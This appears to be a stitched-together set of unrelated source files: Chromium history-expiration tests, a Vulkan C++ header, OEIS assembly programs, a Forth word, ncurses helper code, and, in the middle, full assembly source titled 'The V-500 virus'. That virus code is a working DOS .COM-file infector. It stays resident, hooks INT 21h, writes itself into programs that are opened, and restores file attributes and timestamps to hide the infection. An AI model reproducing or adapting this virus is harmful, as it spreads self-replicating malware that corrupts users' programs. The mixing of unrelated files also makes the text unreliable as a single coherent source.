// TODO(sky): fix this. This test isn't really valid for TopSites. For
// TopSites we should be checking URL always, not the id.
URLRow info;
if (!main_db_->GetURLRow(url_id, &info))
return false;
GURL url = info.url();
scoped_refptr<base::RefCountedMemory> data;
return top_sites_->GetPageThumbnail(url, &data);
}
int ExpireHistoryTest::CountTextMatchesForURL(const GURL& url) {
if (!text_db_.get())
return 0;
// "body" should match all pages in the example data.
std::vector<TextDatabase::Match> results;
QueryOptions options;
Time first_time;
text_db_->GetTextMatches(UTF8ToUTF16("body"), options,
&results, &first_time);
int count = 0;
for (size_t i = 0; i < results.size(); i++) {
if (results[i].url == url)
count++;
}
return count;
}
void ExpireHistoryTest::EnsureURLInfoGone(const URLRow& row) {
// Verify the URL no longer exists.
URLRow temp_row;
EXPECT_FALSE(main_db_->GetURLRow(row.id(), &temp_row));
// The indexed data should be gone.
EXPECT_EQ(0, CountTextMatchesForURL(row.url()));
// There should be no visits.
VisitVector visits;
main_db_->GetVisitsForURL(row.id(), &visits);
EXPECT_EQ(0U, visits.size());
// Thumbnail should be gone.
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_FALSE(HasThumbnail(row.id()));
bool found_delete_notification = false;
for (size_t i = 0; i < notifications_.size(); i++) {
if (notifications_[i].first == chrome::NOTIFICATION_HISTORY_URLS_DELETED) {
URLsDeletedDetails* details = reinterpret_cast<URLsDeletedDetails*>(
notifications_[i].second);
EXPECT_FALSE(details->archived);
const history::URLRows& rows(details->rows);
if (std::find_if(rows.begin(), rows.end(),
history::URLRow::URLRowHasURL(row.url())) != rows.end()) {
found_delete_notification = true;
}
} else {
EXPECT_NE(notifications_[i].first,
chrome::NOTIFICATION_HISTORY_URL_VISITED);
EXPECT_NE(notifications_[i].first,
chrome::NOTIFICATION_HISTORY_URLS_MODIFIED);
}
}
EXPECT_TRUE(found_delete_notification);
}
TEST_F(ExpireHistoryTest, DeleteFaviconsIfPossible) {
// Add a favicon record.
const GURL favicon_url("http://www.google.com/favicon.ico");
FaviconID icon_id = thumb_db_->AddFavicon(favicon_url, FAVICON);
EXPECT_TRUE(icon_id);
EXPECT_TRUE(HasFavicon(icon_id));
// The favicon should be deletable with no users.
std::set<FaviconID> favicon_set;
favicon_set.insert(icon_id);
expirer_.DeleteFaviconsIfPossible(favicon_set);
EXPECT_FALSE(HasFavicon(icon_id));
// Add back the favicon.
icon_id = thumb_db_->AddFavicon(favicon_url, TOUCH_ICON);
EXPECT_TRUE(icon_id);
EXPECT_TRUE(HasFavicon(icon_id));
// Add a page that references the favicon.
URLRow row(GURL("http://www.google.com/2"));
row.set_visit_count(1);
EXPECT_TRUE(main_db_->AddURL(row));
thumb_db_->AddIconMapping(row.url(), icon_id);
// Favicon should not be deletable.
favicon_set.clear();
favicon_set.insert(icon_id);
expirer_.DeleteFaviconsIfPossible(favicon_set);
EXPECT_TRUE(HasFavicon(icon_id));
}
// static
bool ExpireHistoryTest::IsStringInFile(const FilePath& filename,
const char* str) {
std::string contents;
EXPECT_TRUE(file_util::ReadFileToString(filename, &contents));
return contents.find(str) != std::string::npos;
}
// Deletes a URL with a favicon that it is the last referencer of, so that it
// should also get deleted.
// Fails near end of month. http://crbug.com/43586
TEST_F(ExpireHistoryTest, DISABLED_DeleteURLAndFavicon) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
// Verify things are the way we expect with a URL row, favicon, thumbnail.
URLRow last_row;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[2], &last_row));
FaviconID favicon_id = GetFavicon(last_row.url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_id));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(url_ids[2]));
VisitVector visits;
main_db_->GetVisitsForURL(url_ids[2], &visits);
ASSERT_EQ(1U, visits.size());
EXPECT_EQ(1, CountTextMatchesForURL(last_row.url()));
// In this test we also make sure that any pending entries in the text
// database manager are removed.
text_db_->AddPageURL(last_row.url(), last_row.id(), visits[0].visit_id,
visits[0].visit_time);
// Compute the text DB filename.
FilePath fts_filename = path().Append(
TextDatabase::IDToFileName(text_db_->TimeToID(visit_times[3])));
// When checking the file, the database must be closed. We then re-initialize
// it just like the test set-up did.
text_db_.reset();
EXPECT_TRUE(IsStringInFile(fts_filename, "goats"));
text_db_.reset(new TextDatabaseManager(path(),
main_db_.get(), main_db_.get()));
ASSERT_TRUE(text_db_->Init(NULL));
expirer_.SetDatabases(main_db_.get(), archived_db_.get(), thumb_db_.get(),
text_db_.get());
// Delete the URL and its dependencies.
expirer_.DeleteURL(last_row.url());
// The string should be removed from the file. FTS can mark it as gone but
// doesn't remove it from the file, we want to be sure we're doing the latter.
text_db_.reset();
EXPECT_FALSE(IsStringInFile(fts_filename, "goats"));
text_db_.reset(new TextDatabaseManager(path(),
main_db_.get(), main_db_.get()));
ASSERT_TRUE(text_db_->Init(NULL));
expirer_.SetDatabases(main_db_.get(), archived_db_.get(), thumb_db_.get(),
text_db_.get());
// Run the text database expirer. This will flush any pending entries so we
// can check that nothing was committed. We use a time far in the future so
// that anything added recently will get flushed.
TimeTicks expiration_time = TimeTicks::Now() + TimeDelta::FromDays(1);
text_db_->FlushOldChangesForTime(expiration_time);
// All the normal data + the favicon should be gone.
EnsureURLInfoGone(last_row);
EXPECT_FALSE(GetFavicon(last_row.url(), FAVICON));
EXPECT_FALSE(HasFavicon(favicon_id));
}
// Deletes a URL with a favicon that other URLs reference, so that the favicon
// should not get deleted. This also tests deleting more than one visit.
TEST_F(ExpireHistoryTest, DeleteURLWithoutFavicon) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
// Verify things are the way we expect with a URL row, favicon, thumbnail.
URLRow last_row;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &last_row));
FaviconID favicon_id = GetFavicon(last_row.url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_id));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(url_ids[1]));
VisitVector visits;
main_db_->GetVisitsForURL(url_ids[1], &visits);
EXPECT_EQ(2U, visits.size());
EXPECT_EQ(1, CountTextMatchesForURL(last_row.url()));
// Delete the URL and its dependencies.
expirer_.DeleteURL(last_row.url());
// All the normal data except the favicon should be gone.
EnsureURLInfoGone(last_row);
EXPECT_TRUE(HasFavicon(favicon_id));
}
// DeleteURL should not delete starred urls.
TEST_F(ExpireHistoryTest, DontDeleteStarredURL) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
URLRow url_row;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[2], &url_row));
// Star the last URL.
StarURL(url_row.url());
// Attempt to delete the url.
expirer_.DeleteURL(url_row.url());
// Because the url is starred, it shouldn't be deleted.
GURL url = url_row.url();
ASSERT_TRUE(main_db_->GetRowForURL(url, &url_row));
// And the favicon should exist.
FaviconID favicon_id = GetFavicon(url_row.url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_id));
// But there should be no fts.
ASSERT_EQ(0, CountTextMatchesForURL(url_row.url()));
// And no visits.
VisitVector visits;
main_db_->GetVisitsForURL(url_row.id(), &visits);
ASSERT_EQ(0U, visits.size());
// Should still have the thumbnail.
// TODO(sky): fix this, see comment in HasThumbnail.
// ASSERT_TRUE(HasThumbnail(url_row.id()));
// Unstar the URL and delete again.
bookmark_utils::RemoveAllBookmarks(&bookmark_model_, url);
expirer_.DeleteURL(url);
// Now it should be completely deleted.
EnsureURLInfoGone(url_row);
}
// Deletes multiple URLs at once. The favicon for the third one but
// not the first two should be deleted.
TEST_F(ExpireHistoryTest, DeleteURLs) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
// Verify things are the way we expect with URL rows, favicons,
// thumbnails.
URLRow rows[3];
FaviconID favicon_ids[3];
std::vector<GURL> urls;
// Push back a bogus URL (which shouldn't change anything).
urls.push_back(GURL());
for (size_t i = 0; i < arraysize(rows); ++i) {
ASSERT_TRUE(main_db_->GetURLRow(url_ids[i], &rows[i]));
favicon_ids[i] = GetFavicon(rows[i].url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_ids[i]));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(url_ids[i]));
urls.push_back(rows[i].url());
}
StarURL(rows[0].url());
// Delete the URLs and their dependencies.
expirer_.DeleteURLs(urls);
// First one should still be around (since it was starred).
ASSERT_TRUE(main_db_->GetRowForURL(rows[0].url(), &rows[0]));
EnsureURLInfoGone(rows[1]);
EnsureURLInfoGone(rows[2]);
EXPECT_TRUE(HasFavicon(favicon_ids[0]));
EXPECT_TRUE(HasFavicon(favicon_ids[1]));
EXPECT_FALSE(HasFavicon(favicon_ids[2]));
}
// Expires all URLs more recent than a given time, with no starred items.
// Our time threshold is such that one URL should be updated (we delete one of
// the two visits) and one is deleted.
TEST_F(ExpireHistoryTest, FlushRecentURLsUnstarred) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
URLRow url_row1, url_row2;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &url_row1));
ASSERT_TRUE(main_db_->GetURLRow(url_ids[2], &url_row2));
// In this test we also make sure that any pending entries in the text
// database manager are removed.
VisitVector visits;
main_db_->GetVisitsForURL(url_ids[2], &visits);
ASSERT_EQ(1U, visits.size());
text_db_->AddPageURL(url_row2.url(), url_row2.id(), visits[0].visit_id,
visits[0].visit_time);
// This should delete the last two visits.
std::set<GURL> restrict_urls;
expirer_.ExpireHistoryBetween(restrict_urls, visit_times[2], Time());
// Run the text database expirer. This will flush any pending entries so we
// can check that nothing was committed. We use a time far in the future so
// that anything added recently will get flushed.
TimeTicks expiration_time = TimeTicks::Now() + TimeDelta::FromDays(1);
text_db_->FlushOldChangesForTime(expiration_time);
// Verify that the middle URL had its last visit deleted only.
visits.clear();
main_db_->GetVisitsForURL(url_ids[1], &visits);
EXPECT_EQ(1U, visits.size());
EXPECT_EQ(0, CountTextMatchesForURL(url_row1.url()));
// Verify that the middle URL visit time and visit counts were updated.
URLRow temp_row;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &temp_row));
EXPECT_TRUE(visit_times[2] == url_row1.last_visit()); // Previous value.
EXPECT_TRUE(visit_times[1] == temp_row.last_visit()); // New value.
EXPECT_EQ(2, url_row1.visit_count());
EXPECT_EQ(1, temp_row.visit_count());
EXPECT_EQ(1, url_row1.typed_count());
EXPECT_EQ(0, temp_row.typed_count());
// Verify that the middle URL's favicon and thumbnail is still there.
FaviconID favicon_id = GetFavicon(url_row1.url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_id));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(url_row1.id()));
// Verify that the last URL was deleted.
FaviconID favicon_id2 = GetFavicon(url_row2.url(), FAVICON);
EnsureURLInfoGone(url_row2);
EXPECT_FALSE(HasFavicon(favicon_id2));
}
// Expires only a specific URLs more recent than a given time, with no starred
// items. Our time threshold is such that the URL should be updated (we delete
// one of the two visits).
TEST_F(ExpireHistoryTest, FlushRecentURLsUnstarredRestricted) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
URLRow url_row1, url_row2;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &url_row1));
ASSERT_TRUE(main_db_->GetURLRow(url_ids[2], &url_row2));
// In this test we also make sure that any pending entries in the text
// database manager are removed.
VisitVector visits;
main_db_->GetVisitsForURL(url_ids[2], &visits);
ASSERT_EQ(1U, visits.size());
text_db_->AddPageURL(url_row2.url(), url_row2.id(), visits[0].visit_id,
visits[0].visit_time);
// This should delete the last two visits.
std::set<GURL> restrict_urls;
restrict_urls.insert(url_row1.url());
expirer_.ExpireHistoryBetween(restrict_urls, visit_times[2], Time());
// Run the text database expirer. This will flush any pending entries so we
// can check that nothing was committed. We use a time far in the future so
// that anything added recently will get flushed.
TimeTicks expiration_time = TimeTicks::Now() + TimeDelta::FromDays(1);
text_db_->FlushOldChangesForTime(expiration_time);
// Verify that the middle URL had its last visit deleted only.
visits.clear();
main_db_->GetVisitsForURL(url_ids[1], &visits);
EXPECT_EQ(1U, visits.size());
EXPECT_EQ(0, CountTextMatchesForURL(url_row1.url()));
// Verify that the middle URL visit time and visit counts were updated.
URLRow temp_row;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &temp_row));
EXPECT_TRUE(visit_times[2] == url_row1.last_visit()); // Previous value.
EXPECT_TRUE(visit_times[1] == temp_row.last_visit()); // New value.
EXPECT_EQ(2, url_row1.visit_count());
EXPECT_EQ(1, temp_row.visit_count());
EXPECT_EQ(1, url_row1.typed_count());
EXPECT_EQ(0, temp_row.typed_count());
// Verify that the middle URL's favicon and thumbnail is still there.
FaviconID favicon_id = GetFavicon(url_row1.url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_id));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(url_row1.id()));
// Verify that the last URL was not touched.
EXPECT_TRUE(main_db_->GetURLRow(url_ids[2], &temp_row));
EXPECT_TRUE(HasFavicon(favicon_id));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(url_row2.id()));
}
// Expire a starred URL, it shouldn't get deleted
TEST_F(ExpireHistoryTest, FlushRecentURLsStarred) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
URLRow url_row1, url_row2;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &url_row1));
ASSERT_TRUE(main_db_->GetURLRow(url_ids[2], &url_row2));
// Star the last two URLs.
StarURL(url_row1.url());
StarURL(url_row2.url());
// This should delete the last two visits.
std::set<GURL> restrict_urls;
expirer_.ExpireHistoryBetween(restrict_urls, visit_times[2], Time());
// The URL rows should still exist.
URLRow new_url_row1, new_url_row2;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &new_url_row1));
ASSERT_TRUE(main_db_->GetURLRow(url_ids[2], &new_url_row2));
// The visit times should be updated.
EXPECT_TRUE(new_url_row1.last_visit() == visit_times[1]);
EXPECT_TRUE(new_url_row2.last_visit().is_null()); // No last visit time.
// Visit/typed count should not be updated for bookmarks.
EXPECT_EQ(0, new_url_row1.typed_count());
EXPECT_EQ(1, new_url_row1.visit_count());
EXPECT_EQ(0, new_url_row2.typed_count());
EXPECT_EQ(0, new_url_row2.visit_count());
// Thumbnails and favicons should still exist. Note that we keep thumbnails
// that may have been updated since the time threshold. Since the URL still
// exists in history, this should not be a privacy problem, we only update
// the visit counts in this case for consistency anyway.
FaviconID favicon_id = GetFavicon(url_row1.url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_id));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(new_url_row1.id()));
favicon_id = GetFavicon(url_row1.url(), FAVICON);
EXPECT_TRUE(HasFavicon(favicon_id));
// TODO(sky): fix this, see comment in HasThumbnail.
// EXPECT_TRUE(HasThumbnail(new_url_row2.id()));
}
TEST_F(ExpireHistoryTest, ArchiveHistoryBeforeUnstarred) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
URLRow url_row1, url_row2;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &url_row1));
ASSERT_TRUE(main_db_->GetURLRow(url_ids[2], &url_row2));
// Archive the oldest two visits. This will actually result in deleting them
// since their transition types are empty (not important).
expirer_.ArchiveHistoryBefore(visit_times[1]);
// The first URL should be deleted, the second should not be affected.
URLRow temp_row;
EXPECT_FALSE(main_db_->GetURLRow(url_ids[0], &temp_row));
EXPECT_TRUE(main_db_->GetURLRow(url_ids[1], &temp_row));
EXPECT_TRUE(main_db_->GetURLRow(url_ids[2], &temp_row));
// Make sure the archived database has nothing in it.
EXPECT_FALSE(archived_db_->GetRowForURL(url_row1.url(), NULL));
EXPECT_FALSE(archived_db_->GetRowForURL(url_row2.url(), NULL));
// Now archive one more visit so that the middle URL should be removed. This
// one will actually be archived instead of deleted.
expirer_.ArchiveHistoryBefore(visit_times[2]);
EXPECT_FALSE(main_db_->GetURLRow(url_ids[1], &temp_row));
EXPECT_TRUE(main_db_->GetURLRow(url_ids[2], &temp_row));
// Make sure the archived database has an entry for the second URL.
URLRow archived_row;
// Note that the ID is different in the archived DB, so look up by URL.
EXPECT_TRUE(archived_db_->GetRowForURL(url_row1.url(), &archived_row));
VisitVector archived_visits;
archived_db_->GetVisitsForURL(archived_row.id(), &archived_visits);
EXPECT_EQ(1U, archived_visits.size());
}
TEST_F(ExpireHistoryTest, ArchiveHistoryBeforeStarred) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
URLRow url_row0, url_row1;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[0], &url_row0));
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &url_row1));
// Star the URLs.
StarURL(url_row0.url());
StarURL(url_row1.url());
// Now archive the first three visits (first two URLs). The first two visits
// should be, the third deleted, but the URL records should not.
expirer_.ArchiveHistoryBefore(visit_times[2]);
// The first URL should have its visit deleted, but it should still be present
// in the main DB and not in the archived one since it is starred.
URLRow temp_row;
ASSERT_TRUE(main_db_->GetURLRow(url_ids[0], &temp_row));
// Note that the ID is different in the archived DB, so look up by URL.
EXPECT_FALSE(archived_db_->GetRowForURL(temp_row.url(), NULL));
VisitVector visits;
main_db_->GetVisitsForURL(temp_row.id(), &visits);
EXPECT_EQ(0U, visits.size());
// The second URL should have its first visit deleted and its second visit
// archived. It should be present in both the main DB (because it's starred)
// and the archived DB (for the archived visit).
ASSERT_TRUE(main_db_->GetURLRow(url_ids[1], &temp_row));
main_db_->GetVisitsForURL(temp_row.id(), &visits);
EXPECT_EQ(0U, visits.size());
// Note that the ID is different in the archived DB, so look up by URL.
ASSERT_TRUE(archived_db_->GetRowForURL(temp_row.url(), &temp_row));
archived_db_->GetVisitsForURL(temp_row.id(), &visits);
ASSERT_EQ(1U, visits.size());
EXPECT_TRUE(visit_times[2] == visits[0].visit_time);
// The third URL should be unchanged.
EXPECT_TRUE(main_db_->GetURLRow(url_ids[2], &temp_row));
EXPECT_FALSE(archived_db_->GetRowForURL(temp_row.url(), NULL));
}
// Tests the return values from ArchiveSomeOldHistory. The rest of the
// functionality of this function is tested by the ArchiveHistoryBefore*
// tests which use this function internally.
TEST_F(ExpireHistoryTest, ArchiveSomeOldHistory) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
const ExpiringVisitsReader* reader = expirer_.GetAllVisitsReader();
// Deleting a time range with no URLs should return false (nothing found).
EXPECT_FALSE(expirer_.ArchiveSomeOldHistory(
visit_times[0] - TimeDelta::FromDays(100), reader, 1));
// Deleting a time range with not up the the max results should also return
// false (there will only be one visit deleted in this range).
EXPECT_FALSE(expirer_.ArchiveSomeOldHistory(visit_times[0], reader, 2));
// Deleting a time range with the max number of results should return true
// (max deleted).
EXPECT_TRUE(expirer_.ArchiveSomeOldHistory(visit_times[2], reader, 1));
}
TEST_F(ExpireHistoryTest, ExpiringVisitsReader) {
URLID url_ids[3];
Time visit_times[4];
AddExampleData(url_ids, visit_times);
const ExpiringVisitsReader* all = expirer_.GetAllVisitsReader();
const ExpiringVisitsReader* auto_subframes =
expirer_.GetAutoSubframeVisitsReader();
VisitVector visits;
Time now = Time::Now();
// Verify that the early expiration threshold, stored in the meta table is
// initialized.
EXPECT_TRUE(main_db_->GetEarlyExpirationThreshold() ==
Time::FromInternalValue(1L));
// First, attempt reading AUTO_SUBFRAME visits. We should get none.
EXPECT_FALSE(auto_subframes->Read(now, main_db_.get(), &visits, 1));
EXPECT_EQ(0U, visits.size());
// Verify that the early expiration threshold was updated, since there are no
// AUTO_SUBFRAME visits in the given time range.
EXPECT_TRUE(now <= main_db_->GetEarlyExpirationThreshold());
// Now, read all visits and verify that there's at least one.
EXPECT_TRUE(all->Read(now, main_db_.get(), &visits, 1));
EXPECT_EQ(1U, visits.size());
}
// Tests how ArchiveSomeOldHistory treats source information.
TEST_F(ExpireHistoryTest, ArchiveSomeOldHistoryWithSource) {
const GURL url("www.testsource.com");
URLID url_id;
AddExampleSourceData(url, &url_id);
const ExpiringVisitsReader* reader = expirer_.GetAllVisitsReader();
// Archiving all the visits we added.
ASSERT_FALSE(expirer_.ArchiveSomeOldHistory(Time::Now(), reader, 10));
URLRow archived_row;
ASSERT_TRUE(archived_db_->GetRowForURL(url, &archived_row));
VisitVector archived_visits;
archived_db_->GetVisitsForURL(archived_row.id(), &archived_visits);
ASSERT_EQ(4U, archived_visits.size());
VisitSourceMap sources;
archived_db_->GetVisitsSource(archived_visits, &sources);
ASSERT_EQ(3U, sources.size());
int result = 0;
VisitSourceMap::iterator iter;
for (int i = 0; i < 4; i++) {
iter = sources.find(archived_visits[i].visit_id);
if (iter == sources.end())
continue;
switch (iter->second) {
case history::SOURCE_EXTENSION:
result |= 0x1;
break;
case history::SOURCE_FIREFOX_IMPORTED:
result |= 0x2;
break;
case history::SOURCE_SYNCED:
result |= 0x4;
default:
break;
}
}
EXPECT_EQ(0x7, result);
main_db_->GetVisitsSource(archived_visits, &sources);
EXPECT_EQ(0U, sources.size());
main_db_->GetVisitsForURL(url_id, &archived_visits);
EXPECT_EQ(0U, archived_visits.size());
}
// TODO(brettw) add some visits with no URL to make sure everything is updated
// properly. Have the visits also refer to nonexistent FTS rows.
//
// Maybe also refer to invalid favicons.
} // namespace history
|
#pragma once
#include "m4c0/vulkan/end_command_buffer.hpp"
namespace m4c0::vulkan::tools {
class command_buffer_guard {
VkCommandBuffer m_cmd_buf;
public:
explicit constexpr command_buffer_guard(VkCommandBuffer cb) : m_cmd_buf(cb) {
}
~command_buffer_guard() {
if (m_cmd_buf != nullptr) cmd::end_command_buffer(m_cmd_buf).now();
}
command_buffer_guard(const command_buffer_guard &) = delete;
command_buffer_guard & operator=(const command_buffer_guard &) = delete;
command_buffer_guard(command_buffer_guard && o) noexcept : m_cmd_buf(o.m_cmd_buf) {
o.m_cmd_buf = nullptr;
}
command_buffer_guard & operator=(command_buffer_guard &&) = delete;
[[nodiscard]] constexpr auto command_buffer() const noexcept {
return m_cmd_buf;
}
};
}
|
;------------------------------------------------------------------------------
;- V 500 ver 2.1 <03:04:91> GeMiCha *.COM -
;------------------------------------------------------------------------------
page ,132
name V500
title The V-500 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
start: push ax
mov ah,30h
int 21h
xchg ah,al
mov word ptr [dosver],ax
mov ax,352eh
int 21h
cmp word ptr [dosver],31eh
jne endprog
Resident proc near
mov ah,52h
int 21h
push es
push bx
mov ax,es:[bx+14h]
mov word ptr adrdata,ax
push adrdata
pop es
mov ax,es:[0002]
mov Word ptr bufadr,ax
push ax
pop es
mov ax,es:[0002]
pop bx
pop es
mov es:[bx+14h],ax
mov es,word ptr adrdata
xor di,di
mov si,100h
lea cx,lendata-100h
cld
rep movsb
mov ax,352eh
int 21h
mov ax,0086h
mov es:[012E],ax
lea dx,int21-100h
push adrdata
pop ds
mov ax,2586h
int 21h
Resident Endp
NormProg proc near
EndProg: mov ax,3586h
int 21h
push es
pop word ptr cs:[jmps]
push cs
push word ptr cs:[lenpro]
db 0EAh
dw Offset MNormP - 100h
jmps: dw 0
NormProg endp
MNormP proc near
cld
pop si
add si,0100h
pop es
push es
pop ds
push ds
pop word ptr cs:[jmpp-100h]
lea cx,lendata-100h
mov di,0100h
rep movsb
pop ax
db 0EAh
dw 0100h
jmpp: dw 0
MNormP endp
Int21 proc near
push ax
push bx
push cx
push dx
push di
push ds
push es
push ds
push dx
xor ax,ax
mov es,ax
mov ax,word ptr es:[004ch]
mov word ptr cs:[int13-100h],ax
mov ax,word ptr es:[004eh]
mov word ptr cs:[int13-100h+2],ax
mov ah,13h
int 2fh
push ds
push dx
mov ah,13h
int 2fh
pop dx
pop ds
xor ax,ax
mov es,ax
mov es:[004ch],dx
mov es:[004eh],ds
dos310 label byte
pop dx
pop ds
mov ax,4300h ;Get File Attr
int 21h
push cx
push dx
push ds
mov ax,4301h ;Set File Attr
xor cx,cx
int 21h
mov ax,3d02h ;Open File
int 21h
xchg ax,bx
push word ptr cs:[BufAdr -100h]
pop ds
xor dx,dx
lea cx,lendata-100h
mov ah,3fh
int 21h
cmp ds:[0000],'ZM'
je clof
mov ax,4202h
xor cx,cx
int 21h
mov cs:[lenpro-100h],ax
cmp ah,02h
jbe clof
cmp ah,0f6h
jae clof
mov ah,54h ; Get Verify
int 21h
push ax
xor ax,ax ; Set Verify OFF
mov ah,2eh
xor dx,dx
int 21h
mov ax,5700h ; Get Date & Time
int 21h
push cx
push dx
xor dx,dx
mov ah,40h
lea cx,lendata-100h
int 21h
mov ax,4200h
xor cx,cx
int 21h
push cs
pop ds
lea cx,lendata-100h
mov ah,40h
int 21h
pop dx ; Set Date & Time
pop cx
mov ax,5701h
int 21h
pop ax ; Set Verify
xor dx,dx
mov ah,2eh
int 21h
clof: mov ah,3eh
int 21h
pop ds
pop dx
pop cx
mov ax,4301h
int 21h
xor ax,ax
mov es,ax
mov ax,word ptr cs:[int13-100h]
mov es:[004ch],ax
mov ax,word ptr cs:[int13-100h+2]
mov es:[004eh],ax
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
int 21h
iret
Int21 endp
int13 dd 0
bufadr dw 0
dosver dw 0
lenpro dw LenPPP-LenData
AdrData dw 0000h
CRT dw 0 ; ???
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
Lendata label byte
prrog DB 1998 dup(90h)
int 20h
LenPPP Label byte
code ends
end start
|
;
; Word: 1+
; Dictionary: (a - a)
; Date: 1st February 2018
; Macro: Yes
; Notes:
;
inc de
ret |
; A037545: Base-4 digits are, in order, the first n terms of the periodic sequence with initial period 1,2,2.
; 1,6,26,105,422,1690,6761,27046,108186,432745,1730982,6923930,27695721,110782886,443131546,1772526185,7090104742,28360418970,113441675881,453766703526,1815066814106,7260267256425,29041069025702
mov $1,4
pow $1,$0
mul $1,104
div $1,63
|
// -*- mode:c++; tab-width:4; -*-
// vim:ft=cpp ts=4
/***************************************************************************
*
* Tiary, a terminal-based diary keeping system for Unix-like systems
* Copyright (C) 2009, 2019, chys <admin@CHYS.INFO>
*
* This software is licensed under the 3-clause BSD license.
* See LICENSE in the source package and/or online info for details.
*
**************************************************************************/
#include "ui/ncurses_common.h"
#include "common/algorithm.h"
namespace tiary {
namespace ui {
#ifdef TIARY_USE_MOUSE
namespace {
const std::pair<tiary::ui::MouseMask, mmask_t> mouse_mask_map[] = {
{ LEFT_PRESS, BUTTON1_PRESSED },
{ LEFT_RELEASE, BUTTON1_RELEASED },
{ LEFT_CLICK, BUTTON1_CLICKED },
{ LEFT_DCLICK, BUTTON1_DOUBLE_CLICKED },
{ MIDDLE_PRESS, BUTTON2_PRESSED },
{ MIDDLE_RELEASE, BUTTON2_RELEASED },
{ MIDDLE_CLICK, BUTTON2_CLICKED },
{ MIDDLE_DCLICK, BUTTON2_DOUBLE_CLICKED },
{ RIGHT_PRESS, BUTTON3_PRESSED },
{ RIGHT_RELEASE, BUTTON3_RELEASED },
{ RIGHT_CLICK, BUTTON3_CLICKED },
{ RIGHT_DCLICK, BUTTON3_DOUBLE_CLICKED },
{ MOUSE_SHIFT, BUTTON_SHIFT },
{ MOUSE_CTRL, BUTTON_CTRL },
{ MOUSE_ALT, BUTTON_ALT },
{ MOUSE_MOVE, REPORT_MOUSE_POSITION }
};
} // Anonymous namespace
mmask_t mousemask_to_internal(MouseMask mask) {
return bitwise_transform(std::begin(mouse_mask_map), std::end(mouse_mask_map), mask);
}
MouseMask mousemask_from_internal(mmask_t mask) {
return bitwise_reverse_transform(std::begin(mouse_mask_map), std::end(mouse_mask_map), mask);
}
#endif // TIARY_USE_MOUSE
namespace {
// Map our attribute values to those used by ncurses
inline int internal_attributes (Attr attr)
{
int r = 0;
if (attr & UNDERLINE) {
r |= A_UNDERLINE;
}
if (attr & REVERSE) {
r |= A_REVERSE;
}
if (attr & HIGHLIGHT) {
r |= A_BOLD;
}
if (attr & BLINK) {
r |= A_BLINK;
}
return r;
}
} // anonymous namespace
// Map color pair to internal color pair
unsigned internal_color_pair (Color f, Color b)
{
if (!is_valid_color(f) || !is_valid_color(b)) {
return 0;
}
// Pair 0 is reserved for (Fore,Back) = (WHITE,BLACK)
// So we need a simple formula that maps
// [0,7]x[0,7] to [0,64] while keeping (WHITE,BLACK) is mapped to 0
/* b = (b + 8 - BLACK) % 8; */
f = static_cast<Color>((f + 8 - WHITE) % 8);
return b*8+f;
}
int internal_attributes (Color fore, Color back, Attr attr)
{
return internal_attributes (attr) | COLOR_PAIR (internal_color_pair (fore, back));
}
} // namespace tiary::ui
} // namespace tiary
|
; A020808: Decimal expansion of 1/sqrt(51).
; Submitted by Jon Maiga
; 1,4,0,0,2,8,0,0,8,4,0,2,8,0,0,9,8,0,3,5,2,9,2,9,4,0,8,0,6,6,0,2,4,8,0,9,3,8,7,5,7,1,9,8,3,5,2,7,5,0,4,5,8,4,9,6,4,8,7,1,1,9,3,7,7,9,7,2,1,9,6,8,7,5,3,7,2,5,9,1,9,3,3,8,4,1,1,5,3,3,5,9,8,6,8,2,7,5,3,2
mov $1,1
mov $2,1
mov $3,$0
add $3,7
mov $4,$0
add $0,5
add $4,3
mul $4,2
mov $7,10
pow $7,$4
mov $9,10
lpb $3
mov $4,$2
pow $4,2
mul $4,51
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,2
div $1,$8
